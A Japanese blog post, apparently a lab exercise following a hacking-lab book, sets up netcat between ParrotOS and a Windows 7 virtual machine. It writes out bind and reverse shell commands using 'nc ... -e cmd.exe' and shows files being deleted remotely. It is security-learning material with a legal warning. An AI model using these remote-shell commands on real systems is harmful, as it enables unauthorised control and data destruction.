1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

ParrotOS5.2でハッキングラボをつくってみる 4 Windows7をハッキングする編2(netcatを使う)

Posted at

はじめに

この記事は、『ハッキングラボのつくりかた』(IPUSIRON著)に基づいて、ペネトレーション用OSであるParrotOSでも同書通りにハッキングできるかどうかを検証するために書かれている。

注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。

Netcatを使う

Netcatを使って、ParrotOSとやられOSのWindows7の通信を行う。
Netcatを使って、バックドアの設置もしてみた。

NetcatとSysinternalの導入

まずは、NetcatのWindows版をダウンロード。netcatは、Linuxのツールであり、Windowsで利用する際はWindows用をダウンロードしないといけない。

以下、ダウンロード先 (外部リンク)
netcatダウンロード先
また、Windows7の調査・トラブルシューティングツールであるSysinternals Suiteも利用する。これにより、Windowsへの知識・理解が深まる。このツールは、Windows10をハッキングするときも利用する。今回は使用しないが、今後のMetasploitによる攻撃を解析するときに使用。
Sysinternals Suiteダウンロード先

ゲストOSのWindows7では、インターネットにつながらないために(ホストオンリーネットワーク)、ホストOSでダウンロードして、VirtualBoxの共有フォルダやドラッグ&ドロップ機能でWindows7内にファイルをコピーすること。自分は、Windows7のデスクトップにnetcatを設置した。

Netcatを使った通信方法

コマンドプロンプトを立ち上げる。
netcatが展開されたフォルダに移動して、
ポート5555で待ち状態にする。

//cdでフォルダ移動
C:\user\IEUser>cd Desktop\nc
//Netcatを実行.ポート5555で待ち状態にする
C:\User\IEUser>nc -l -v -p 5555

フォルダ名がncとなっている。同書では別のフォルダ名となっているが、簡易のために名前を変更した。また、同書の記述nc.exeのように、拡張子をつけなくとも動作した。オプションの付け方は、nc -lvpとしても良い。

WindowsFirewallがアラート出したら、すべての項目にチェックを入れて「Allow access」をクリック。
nc_firewall_alert.png

このようにポート5555で待ち受ける状態となる。
VirtualBox_IE10 - Win7_08_04_2022_15_36_38.png

  • Netcatの文法
    どこかに接続する場合
    nc [-options] hostname port[s] [ports] ...
    パケットを待ち受ける場合(サーバーの状態)
    nc -l -p port [options] [hostname] [port]
    待受の際には、必ず-l (小文字のL) と -pオプション、ポート番号が必要となる。

  • Netcatのオプション
    (ヘルプメニューを一部日本語訳している。翻訳に間違いがある可能性がある。)

オプション 解説
-d コンソールから離れる。バックグラウンドモード
-e prog インバウンドデータからプログラムを実行(危険!)
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4,8,12
-h ヘルプメニュー
-i secs ポートスキャンとその送信のためにsecsで指定した秒数インターバルを設ける
-l インバウンドの接続を待受(Listen)モード
-L listern harder, re-listen on socket close
-n 数値のみのIPアドレス、DNSは利用不可
-o file トラフィックのヘックスダンプファイルの出力
-p port ポート番号
-r ランダムな接続元ポート、接続先ポート
-s addr 接続元のアドレス
-t telnetネゴシエーションに返答
-u UDPモード
-v 詳細を表示
-w secs secsで接続をタイムアウトする秒数を指定
-z zero-I/O モード(接続だけ行って、パケットは送信しない)

今回は、接続を待ち受けるために -l 、ポート番号を指定するために -p、詳細を表示ために -vオプションを指定した。

新規に別のコマンドプロンプトを立ち上げ、

C:\Users\IEUser\Desktop\nc>netstat -an

を実行すると、待受状態(LISTENING)になっていることが確認できた。

netstatコマンドのオプション

  • -a すべての接続を表示
  • -n 名前解決しない、サービス名解決しない
    VirtualBox_IE10 - Win7_08_04_2022_16_31_50.png

ParrotOSを起動して、端末を立ち上げてコマンドを実行
ParrotOSの端末で、以下のコマンドを実行する。KaliLinuxと同じく、ParrotOSでもnetcatが標準装備されている。

$ nc Windows7のローカルIPアドレス 5555

Windows7に戻ると、次のようにコマンドプロンプトが変化している。
VirtualBox_IE10 - Win7_08_04_2022_16_44_22.png
VirtualBox_IE10 - Win7_08_04_2022_16_44_32.png

kaliLinuxに戻って、適当な文字列を入力すると、Windows7のnetcatのコマンドプロンプトに反映されている。また、Windows7のNetcatに適当な文字列を入力しても、KaliLinuxの端末に反映されている。相互に文字が反映される。
Netcatは単なるテキストデータが送受信できるだけではなく、他のデータも送受信可能である。これを悪用することで、Windows7上で悪意のあるコマンドを実行することが可能となる。
接続が確認できたら、ParrotOS側でCtrl+Cとタイプして、necatコマンドを終了する。

Netcatの通信は暗号化されない

Netcatを使ったバインドシェルでの攻撃

ParrotOSからWindows7を操作できることがわかった。
これにより、Windows7上で、バインドシェル(攻撃端末からターゲット端末に接続するタイプのシェル)を使った攻撃ができることがわかる。

  1. Windows側での設定
    netcatの-e execオプションを使うことによって、インバウンドで入ってきたデータ(標準入出力などテキストデータ含め)がexecプログラムにリダイレクトされて実行できることになる。
    つまり、クライアント(ここでは、ParrotOS)からサーバー(ここでは、Windows7)を遠隔操作できることになる。なお、Netcatのヘルプnc -hでは "inbound program to exec [dangerous!]" と注意されているとおりである。
    次のコマンドをWindows7で実行してバインドシェルが実行できるようにする。
C:\Users\IEUser\Desktop\nc>nc -l -v -p 5555 -e cmd.exe
   //先ほどの nc -l -v -p 5555に、オプション-eとWindowsのシェルであるcmd.exeを加える

2 . ParrotOS側での設定
次のコマンドを実行

$ nc Windows7のローカルIPアドレス 5555

ParrotOS上の端末で、Windows7を遠隔操作できた。
ipconfigdirといったコマンドが実行可能。rm ファイル名で、ファイルを削除できた。ただし、ファイル名に日本語含まれていると、"No such file or directory"とエラーが出て削除不能。
バインドシェルで実行できるコマンドの一覧は、helpコマンドから確認できる。

Netcatを使ったリバースシェルでの攻撃

リバースシェルは、ターゲット端末から攻撃端末に対して接続するシェル。バインドシェルとは逆の接続となる。
リバースシェルを使用する理由を同書P.235より引用すると、

通信路の途中にファイアウォールやルーターなどが存在すると、ブロックされてしまうことがあります。インバウンド(外部から内部へのアクセス)を制限しているためです。遠隔操作を実現するバックドアをせっかく設置できても、アクセスできないのでは意味がありません。

とある。
また、同じページの注釈[8]に

ルーターがポートフォワーディングやDMZの設定をしていなければ、外部から内部へのターゲット端末にアクセスさえ出来ません。

ともある。

リバースシェルでの攻撃を実行

リバースシェルでの攻撃。
1, KaliLinuxのターミナルでつぎのコマンドを実行。Windows7からのアクセスを待ち受ける状態となる。
"-lvp"は," -l -v -p"オプションと同等。

$ nc -lvp 5555

2, Windows7のコマンドプロンプトで次のコマンドを実行

C:\Users\IEUser\Desktop\nc > nc ParrotOSのローカルIPアドレス 5555 -e cmd.exe 

KaliLinuxの端末に戻ると、端末上でWindowsのコマンドプロンプトが実行可能になる。
バインドシェルと同様に、ipconfigdirといったコマンドが実行可能。rm ファイル名で、ファイルを削除できた。ただし、ファイル名が2バイト文字だと、"No such file or directory"とエラーが出て削除不能。シェルで実行できるコマンドの一覧は、helpコマンドから確認できる。個人的な感覚だが、リバースシェルのほうが動作が軽いように思う。

終わりに

攻撃を仕掛ける側のOSが、KaliLinuxからParrotOSに変わっただけで、大きな変化はなかった。

  • 参考にしたもの
    『ハッキング・ラボのつくりかた』(IPUSIRON著)

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?